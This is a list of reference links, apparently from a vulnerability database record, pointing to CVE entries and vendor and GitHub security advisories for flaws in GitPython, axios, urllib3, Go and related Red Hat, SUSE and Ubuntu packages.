access.redhat.com/security/cve/CVE-2026-42044
cve.org/CVERecord?id=CVE-2026-42044
nvd.nist.gov/vuln/detail/CVE-2026-42044
github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23
access.redhat.com/security/cve/CVE-2026-42215
cve.org/CVERecord?id=CVE-2026-42215
github.com/gitpython-developers/GitPython/releases/tag/3.1.47
github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4
access.redhat.com/security/cve/CVE-2026-42284
cve.org/CVERecord?id=CVE-2026-42284
nvd.nist.gov/vuln/detail/CVE-2026-42284
github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485
access.redhat.com/security/cve/CVE-2026-42784
cve.org/CVERecord?id=CVE-2026-42784
nvd.nist.gov/vuln/detail/CVE-2026-42784
access.redhat.com/security/cve/CVE-2026-44244
cve.org/CVERecord?id=CVE-2026-44244
access.redhat.com/security/cve/CVE-2026-44432
cve.org/CVERecord?id=CVE-2026-44432
nvd.nist.gov/vuln/detail/CVE-2026-44432
github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j
cve.org/CVERecord?id=CVE-2026-44486
nvd.nist.gov/vuln/detail/CVE-2026-44486
github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc
cve.org/CVERecord?id=CVE-2026-44487
github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v
github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf
github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv
github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_42079.json
go.dev/cl/783621
go.dev/issue/79694
groups.google.com/g/golang-announce/c/tKs3rmcBcKw
pkg.go.dev/vuln/GO-2026-5037
issues.redhat.com/browse/SAT-45592
issues.redhat.com/browse/SAT-46105
issues.redhat.com/browse/SAT-48574
issues.redhat.com/browse/SAT-48584
issues.redhat.com/browse/SAT-48585
issues.redhat.com/browse/SAT-48586
issues.redhat.com/browse/SAT-48587
issues.redhat.com/browse/SAT-48588
issues.redhat.com/browse/SAT-48589
issues.redhat.com/browse/SAT-48628
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_63385.json
gitlab.eclipse.org/security/cve-assignment/-/work_items/119
vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read
vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add
vulncheck.com/advisories/gitpython-before-remote-code-execution-via-template
vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-diff
vulncheck.com/advisories/gitpython-before-remote-code-execution-via-kwarg-value-smuggling
vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init
vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree
vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options
vulncheck.com/advisories/gitpython-before-config-injection-via-option-name
vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name
suse.com/support/update/announcement/2026/suse-su-202621813-1
bugzilla.suse.com/1264604
bugzilla.suse.com/1264605
bugzilla.suse.com/1264606
bugzilla.suse.com/1264608
suse.com/security/cve/CVE-2026-42215
suse.com/security/cve/CVE-2026-42284
suse.com/security/cve/CVE-2026-44243
suse.com/security/cve/CVE-2026-44244
suse.com/support/update/announcement/2026/suse-su-20264072-1
bugzilla.suse.com/1273357
bugzilla.suse.com/1273358
bugzilla.suse.com/1273359
bugzilla.suse.com/1273364
bugzilla.suse.com/1273414
bugzilla.suse.com/1273498
bugzilla.suse.com/1275745
bugzilla.suse.com/1275746
bugzilla.suse.com/1275747
bugzilla.suse.com/1275748
bugzilla.suse.com/1275749
bugzilla.suse.com/1275750
bugzilla.suse.com/1275751
bugzilla.suse.com/1275752
bugzilla.suse.com/1275753
suse.com/security/cve/CVE-2026-67322
suse.com/security/cve/CVE-2026-67323
suse.com/security/cve/CVE-2026-67325
suse.com/security/cve/CVE-2026-67326
suse.com/security/cve/CVE-2026-69097
suse.com/security/cve/CVE-2026-73619
suse.com/security/cve/CVE-2026-73620
suse.com/security/cve/CVE-2026-73621
suse.com/security/cve/CVE-2026-73622
suse.com/security/cve/CVE-2026-73623
suse.com/security/cve/CVE-2026-73624
suse.com/security/cve/CVE-2026-73625
suse.com/security/cve/CVE-2026-76217
suse.com/security/cve/CVE-2026-76218
ubuntu.com/security/CVE-2026-44244
ubuntu.com/security/notices/USN-8303-1
ubuntu.com/security/CVE-2023-41040
ubuntu.com/security/CVE-2026-42215
ubuntu.com/security/CVE-2026-42284
ubuntu.com/security/CVE-2026-44243
Left out here: 51 versions, 157 references and the rest of 4 source descriptions. The JSON record has them.